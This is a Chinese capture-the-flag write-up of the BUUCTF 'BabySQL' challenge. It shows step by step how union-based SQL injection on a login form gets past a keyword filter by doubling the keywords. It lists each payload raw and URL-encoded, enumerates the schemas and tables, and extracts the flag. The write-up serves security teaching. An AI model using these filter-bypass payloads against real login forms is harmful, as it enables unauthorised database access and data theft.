buuctf[极客大挑战 2019]BabySQL--联合注入、双写过滤
目录
1、测试万能密码：
2、判断字段个数
3、尝试联合注入
4、尝试双写过滤
5、继续尝试列数
6、查询数据库和版本信息
7、查询表名
8、没有找到和ctf相关的内容，查找其他的数据库
9、查看ctf数据库中的表
10、查询Flag表中的字段名
11、查询表中的内容
1、测试万能密码：
1' or'1'='1 失败
2、判断字段个数
1’ order by 3# "or"和“by”被过滤
3、尝试联合注入
Payload:1’union select 1#&password=1
url:username=1’union+select+1&password=aa
有回显： You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1#' and password='1'' at line 1
union和select被过滤
4、尝试双写过滤
Payload :username=1’ununionion seselectlect 1#&password=1
url:username=1%27ununionion%20seselectlect%201%23&password=1
有回显： The used SELECT statements have a different number of columns
使用的SELECT语句具有不同数量的列
5、继续尝试列数
Payload：
username=1’ununionion seselectlect 1,2,3#&password=1
Url:
username=1%27ununionion%20seselectlect%201,2,3%23&password=1
有回显登录成功
说明正确的列数为三列
6、查询数据库和版本信息
Payload:
username=1’ununionion seselectlect 1,version(),database()#&password=1
Url:
username=1%27ununionion%20seselectlect%201,version(),database()%23&password=1
有回显：版本为：“ 10.3.18-MariaDB！ ”
数据库为：“geek”
7、查询表名
Payload:
username=1’ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t
ables where table_schema=database()#&password=1
或者
username=1’ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t
ables where table_schema='geek'#&password=1
Url:
对from,or,where进行了过滤,所以需要进行双写过滤
username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=database()%23&password=1
或
username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=%27geek%27%23&password=1
有回显获得表名b4bsql,geekuser！
8、没有找到和ctf相关的内容，查找其他的数据库
Payload:
username=1’ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_
schema.schemata#&password=1
Url:
username=1%27ununionion%20seselectlect%201,2,group_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%23&password=1
有回显
9、查看ctf数据库中的表
Payload:
username=1’ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t
ables where table_schema='ctf'#&password=1
URL:
username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=%27ctf%27%23&password=1
有回显，存在表flag
10、查询Flag表中的字段名
Payload:
username=1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorr
mation_schema.columns whwhereere table_schema=’ctf’#&password=1
Url:
username=1%27%20ununionion%20seselectlect%201,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema=%27ctf%27%23&password=1
有回显，字段名为flag
11、查询表中的内容
Payload:
username=1’ ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#&password=1
Url:
username=1%27%20ununionion%20seselectlect%201,2,group_concat(flag)%20frfromom%20ctf.Flag%23&password=1
获得flag
参考内容：sql注入之union联合注入_在用户名的输入框中，通过union查询语句，猜测出前面表查询的列数。【查找注入点】-CSDN博客